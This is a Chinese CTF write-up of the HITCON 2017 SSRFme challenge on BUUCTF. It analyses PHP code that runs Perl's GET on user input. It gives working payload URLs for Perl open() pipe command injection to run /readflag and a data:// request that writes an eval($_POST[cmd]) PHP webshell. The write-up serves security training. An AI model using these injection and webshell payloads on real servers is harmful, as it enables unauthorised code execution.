当前位置: 首页 > article >正文

BUUCTF-[HITCON 2017]SSRFme

代码分析?php if (isset($_SERVER[HTTP_X_FORWARDED_FOR])) { //HTTP_X_FORWARDED_FOR可以获取客户端真正ip地址和各个代理IP地址 $http_x_headers explode(,, $_SERVER[HTTP_X_FORWARDED_FOR]); //拆分字符串以分割 $_SERVER[REMOTE_ADDR] $http_x_headers[0]; //获取真实IP地址 } echo $_SERVER[REMOTE_ADDR]; $sandbox sandbox/ . md5(orange . $_SERVER[REMOTE_ADDR]); //设置路径 mkdir($sandbox); //创建目录 chdir($sandbox); //更改当前工作目录为sandbox $data shell_exec(GET . escapeshellarg($_GET[url])); //escapeshellarg过滤url转义为在shell命令中安全使用的参数。这里就是执行get命令参数为过滤后的。 $info pathinfo($_GET[filename]); //将路径字典话即分割为目录名扩展名等。 $dir str_replace(., , basename($info[dirname])); //basename用于提取文件名然后将.替换为空防止了路径穿越。 mkdir($dir); chdir($dir); file_put_contents(basename($info[basename]), $data); //将data中的数据放入basename文件名中。 highlight_file(__FILE__);大概功能是将请求的url内容放入/sandbox/md5值/filename中。漏洞点1$data shell_exec(GET . escapeshellarg($_GET[url]));这里的GET是Lib for WWW in Perl中的命令 目的是模拟http的GET请求,GET函数底层就是调用了open处理。类似ls将根目录列出来也可以读取文件 GET ./flag.txt。所以可以将url设置为某个路径或文件然后放入filename中。获取根目录内容构造url构造url/构造filenametest计算出路径访问在根目录中发现flag和readflag。查看flag创建http://c436ca20-4f7b-4006-8b9b-a5f6204e9987.node5.buuoj.cn:81/?url/flagfilenametest访问没有内容查看readflag创建http://c436ca20-4f7b-4006-8b9b-a5f6204e9987.node5.buuoj.cn:81/?url/readflagfilenametest访问访问是下载了一个文件打开发现是ELF可执行文件猜测是使用命令去执行readflag。方法一perl语言漏洞因为GET函数在底层调用了perl语言中的open函数但是该函数存在rce漏洞。当open函数要打开的文件名中存在管道符并且系统中存在该文件名就会中断原有打开文件操作并且把这个文件名当作一个命令来执行。因为GET使用file协议时候会调用perl中的open函数。所以需要使用file协议执行readflag。getflag创建文件http://c436ca20-4f7b-4006-8b9b-a5f6204e9987.node5.buuoj.cn:81/?urlfilename|/readflag执行命令http://c436ca20-4f7b-4006-8b9b-a5f6204e9987.node5.buuoj.cn:81/?urlfile:|/readflagfilenametest访问或者这样构造也可以http://c436ca20-4f7b-4006-8b9b-a5f6204e9987.node5.buuoj.cn:81/?urlfilename|bash -c /readflag http://c436ca20-4f7b-4006-8b9b-a5f6204e9987.node5.buuoj.cn:81/?urlfile:|bash -c /readflagfilenametest方法二写木马利用data伪协议去写入木马http://c436ca20-4f7b-4006-8b9b-a5f6204e9987.node5.buuoj.cn:81/?urldata://text/plain,?php eval($_POST[cmd]); ?filenametest.php切换到终端执行readflag。

相关文章:

BUUCTF-[HITCON 2017]SSRFme

代码分析<?phpif (isset($_SERVER[HTTP_X_FORWARDED_FOR])) { //HTTP_X_FORWARDED_FOR可以获取客户端真正ip地址&#xff0c;和各个代理IP地址$http_x_headers explode(,, $_SERVER[HTTP_X_FORWARDED_FOR]); //拆分字符串&#xff0c;以&#xff0c;分割$_SERVER[REMOTE…...

数据宝藏库:Awesome Public Datasets完整入门指南

数据宝藏库&#xff1a;Awesome Public Datasets完整入门指南 【免费下载链接】awesome-public-datasets A topic-centric list of HQ open datasets. 项目地址: https://gitcode.com/GitHub_Trending/aw/awesome-public-datasets 你是否曾经为了寻找高质量的数据集而烦…...

别再死磕理论了!用Python+Pytorch实战多示例学习(MIL)图像分类,附完整代码

用PythonPytorch实战多示例学习图像分类&#xff1a;从数据到模型的完整指南 当你第一次听说"多示例学习"&#xff08;Multiple Instance Learning, MIL&#xff09;时&#xff0c;是不是也被那些抽象的理论弄得一头雾水&#xff1f;作为计算机视觉领域的重要技术&am…...

避开这5个坑!用MediaRecorder+Vue3实现高兼容性语音输入

Vue3MediaRecorder实战&#xff1a;5个关键技巧打造高兼容语音输入方案 在移动优先的时代&#xff0c;语音输入已成为提升用户体验的重要交互方式。但当你兴奋地在Vue3项目中集成MediaRecorder API时&#xff0c;可能会遇到iOS设备上的静默失败、Android机型上的格式兼容性问题…...

Claude技能开发实战指南:从入门到精通的认知升级路径

Claude技能开发实战指南&#xff1a;从入门到精通的认知升级路径 【免费下载链接】awesome-claude-skills A curated list of awesome Claude Skills, resources, and tools for customizing Claude AI workflows 项目地址: https://gitcode.com/GitHub_Trending/aw/awesome-…...

SQL 基础及 MySQL DBA 运维实战 - 6:Mycat代理技术

MySQL DBA运维实战&#xff1a;集群与代理技术深度解析 引言 在现代互联网应用中&#xff0c;数据库的高可用性、可扩展性和性能是企业级应用的核心需求。随着业务量的增长&#xff0c;单一数据库服务器往往无法满足需求&#xff0c;此时数据库集群和代理技术成为解决这些问题…...

实战应用:使用快马平台为vmware17部署生成企业级健康检查与配置方案

在实际的企业IT环境中&#xff0c;部署VMware vSphere 17&#xff08;以下简称VMware 17&#xff09;这类虚拟化平台往往不是简单的安装过程&#xff0c;而是需要综合考虑硬件兼容性、系统配置、安全策略等多方面因素。为了确保部署过程的顺利和后续运行的稳定&#xff0c;我们…...

AI赋能开发:让快马平台智能理解并生成产区标准图交互应用

AI赋能开发&#xff1a;让快马平台智能理解并生成产区标准图交互应用 最近在做一个农产品产区标准查询系统的项目&#xff0c;发现用传统方式开发这类需求特别费时。比如要处理用户自然语言查询、动态生成地图、实现智能推荐逻辑&#xff0c;光写基础代码就得花好几天。后来尝…...

新手必看:在快马平台学习排列组合公式的代码实现

新手必看&#xff1a;在快马平台学习排列组合公式的代码实现 作为一个编程新手&#xff0c;当我第一次接触排列组合公式时&#xff0c;那些数学符号和递归逻辑让我一头雾水。直到在InsCode(快马)平台上找到了带详细注释的示例代码&#xff0c;才真正理解了Cn和An公式的实现原理…...

赋能音乐自由:Unlock Music技术解密与全场景应用指南

赋能音乐自由&#xff1a;Unlock Music技术解密与全场景应用指南 【免费下载链接】unlock-music 在浏览器中解锁加密的音乐文件。原仓库&#xff1a; 1. https://github.com/unlock-music/unlock-music &#xff1b;2. https://git.unlock-music.dev/um/web 项目地址: https:…...

告别重复造轮子:用快马AI一键生成高复用性imToken集成代码模块

告别重复造轮子&#xff1a;用快马AI一键生成高复用性imToken集成代码模块 开发涉及钱包集成的DApp时&#xff0c;最让人头疼的就是那些重复性的基础代码。每次新项目都要重新写一遍连接钱包、处理授权、监听网络切换的逻辑&#xff0c;不仅浪费时间&#xff0c;还容易引入安全…...

终极窗口尺寸编辑器:SRWE让你的应用程序窗口自由伸缩

终极窗口尺寸编辑器&#xff1a;SRWE让你的应用程序窗口自由伸缩 【免费下载链接】SRWE Simple Runtime Window Editor 项目地址: https://gitcode.com/gh_mirrors/sr/SRWE Simple Runtime Window Editor (SRWE) 是一款革命性的开源工具&#xff0c;它能让你实时调整任何…...

音乐标签编辑器:让本地音乐元数据管理效率提升90%的开源工具

音乐标签编辑器&#xff1a;让本地音乐元数据管理效率提升90%的开源工具 【免费下载链接】music-tag-web 音乐标签编辑器&#xff0c;可编辑本地音乐文件的元数据&#xff08;Editable local music file metadata.&#xff09; 项目地址: https://gitcode.com/gh_mirrors/mu/…...

FanControl完全指南:5分钟掌握Windows风扇智能控制

FanControl完全指南&#xff1a;5分钟掌握Windows风扇智能控制 【免费下载链接】FanControl.Releases This is the release repository for Fan Control, a highly customizable fan controlling software for Windows. 项目地址: https://gitcode.com/GitHub_Trending/fa/Fa…...

如何用3dsconv解决3DS游戏格式兼容问题:从入门到精通的转换指南

如何用3dsconv解决3DS游戏格式兼容问题&#xff1a;从入门到精通的转换指南 【免费下载链接】3dsconv Python script to convert Nintendo 3DS CCI (".cci", ".3ds") files to the CIA format 项目地址: https://gitcode.com/gh_mirrors/3d/3dsconv …...

M2LOrder模型在STM32项目中的潜在应用:边缘设备情绪反馈

M2LOrder模型在STM32项目中的潜在应用&#xff1a;边缘设备情绪反馈 最近在捣鼓一个基于STM32的智能硬件项目&#xff0c;想给它加点“人情味”。比如&#xff0c;当用户对它说话时&#xff0c;它能感知到用户的情绪是开心还是沮丧&#xff0c;并给出更贴切的反馈。这听起来很…...

Audio2Face深度解析:音频驱动面部动画的技术架构与实战指南

Audio2Face深度解析&#xff1a;音频驱动面部动画的技术架构与实战指南 【免费下载链接】FACEGOOD-Audio2Face http://www.facegood.cc 项目地址: https://gitcode.com/gh_mirrors/fa/FACEGOOD-Audio2Face 在虚拟数字人快速发展的今天&#xff0c;如何让虚拟角色拥有自然…...

安卓应用按钮样式问题及解决方案

在开发安卓应用的过程中,我们常常会遇到一些看似简单但实际上隐藏着复杂问题的样式问题。今天我们来探讨一个在更换设备后按钮样式发生变化的问题。 问题描述 一位开发者在Android Studio中开发了一个食谱应用。当他从一台手机切换到另一台手机运行应用时,发现所有的按钮都…...

Sketch Measure: 设计标注自动化的创新实践

Sketch Measure: 设计标注自动化的创新实践 【免费下载链接】sketch-measure Make it a fun to create spec for developers and teammates 项目地址: https://gitcode.com/gh_mirrors/sk/sketch-measure 在数字化产品开发流程中&#xff0c;设计稿到代码实现的转化始终…...

如何使用usearch构建精准视频内容推荐系统:基于观看历史的向量匹配方案

如何使用usearch构建精准视频内容推荐系统&#xff1a;基于观看历史的向量匹配方案 【免费下载链接】usearch Fast Open-Source Search & Clustering engine for Vectors & Arbitrary Objects in C, C, Python, JavaScript, Rust, Java, Objective-C, Swift, C#, GoL…...

NSSCTF做题记录九 | [HUBUCTF 2022 新生赛]checkin

[HUBUCTF 2022 新生赛]checkin <?php show_source(__FILE__); //高亮显示当前代码 $username "this_is_secret"; //给$username赋值 $password "this_is_not_known_to_you"; //给$password赋值 include("flag.php");//here I chan…...

图解Linux内核DRM框架:从用户态ioctl到plane更新的完整数据流(以4.14版本为例)

图解Linux内核DRM框架&#xff1a;从用户态ioctl到plane更新的完整数据流&#xff08;以4.14版本为例&#xff09; 在图形显示技术领域&#xff0c;Linux内核的DRM&#xff08;Direct Rendering Manager&#xff09;框架扮演着核心角色。本文将聚焦于DRM_IOCTL_MODE_SETPLANE这…...

手机号查QQ号:解密腾讯通信协议的Python实战工具

手机号查QQ号&#xff1a;解密腾讯通信协议的Python实战工具 【免费下载链接】phone2qq 项目地址: https://gitcode.com/gh_mirrors/ph/phone2qq 你是否曾经遇到过这样的情况&#xff1a;手头有一个手机号&#xff0c;想知道它是否关联了QQ账号&#xff1f;或者作为开发…...

Qwen-Image镜像实战:基于RTX4090D,轻松实现图片问答与内容分析

Qwen-Image镜像实战&#xff1a;基于RTX4090D&#xff0c;轻松实现图片问答与内容分析 1. 引言&#xff1a;Qwen-Image镜像的核心价值 在当今多模态AI技术快速发展的背景下&#xff0c;能够同时理解图像和文本的视觉语言模型正变得越来越重要。Qwen-Image作为通义千问系列中的…...

从HC-SR04老用户视角,实测2020新版:盲区更小、功耗更低,但这两点不注意容易翻车

HC-SR04新版深度评测&#xff1a;老用户必看的5个升级细节与3个隐藏陷阱 第一次拿到2020版HC-SR04时&#xff0c;我差点以为发错了货——外观几乎和老版本一模一样&#xff0c;连螺丝孔位都分毫不差。但当我用示波器捕捉到仅2.1mA的工作电流时&#xff0c;才确信这确实是用上了…...

Qwen3-14B企业知识图谱构建:从私有文档抽取实体关系实践

Qwen3-14B企业知识图谱构建&#xff1a;从私有文档抽取实体关系实践 1. 企业知识图谱构建概述 在当今企业数字化转型浪潮中&#xff0c;知识图谱作为结构化知识表示的重要方式&#xff0c;正成为企业知识管理的核心基础设施。传统知识图谱构建需要大量人工标注和规则设计&…...

效率翻倍,一键生成企业级vue3+ts+pinia项目脚手架,告别重复环境配置

最近在搭建一个企业级中后台管理系统时&#xff0c;发现从零开始配置Vue3项目环境特别耗时。传统方式需要手动安装各种依赖、配置代码规范、设计目录结构&#xff0c;经常因为版本兼容问题卡住半天。后来尝试用InsCode(快马)平台生成项目脚手架&#xff0c;效率直接翻倍&#x…...

5个关键步骤:OpenCore Legacy Patcher旧Mac设备系统升级全攻略

5个关键步骤&#xff1a;OpenCore Legacy Patcher旧Mac设备系统升级全攻略 【免费下载链接】OpenCore-Legacy-Patcher Experience macOS just like before 项目地址: https://gitcode.com/GitHub_Trending/op/OpenCore-Legacy-Patcher 随着苹果公司对旧款Mac设备的系统支…...

实战指南:为spring boot项目快速配置最优jdk环境,助力应用高效部署

最近在准备一个Spring Boot项目时&#xff0c;发现JDK环境配置这个看似简单的环节其实藏着不少学问。特别是当项目需要兼顾开发效率和生产环境稳定性时&#xff0c;合理的JDK配置方案就显得尤为重要。今天就来分享下我的实战经验&#xff0c;以及如何利用工具快速搞定这些配置。…...

AI原生应用领域链式思考:构建高效应用架构

AI原生应用领域链式思考&#xff1a;构建高效应用架构 关键词&#xff1a;AI原生应用、链式思考、应用架构、大模型协同、上下文管理 摘要&#xff1a;本文从AI原生应用的核心特征出发&#xff0c;结合"链式思考"这一关键设计模式&#xff0c;系统讲解如何构建高效能…...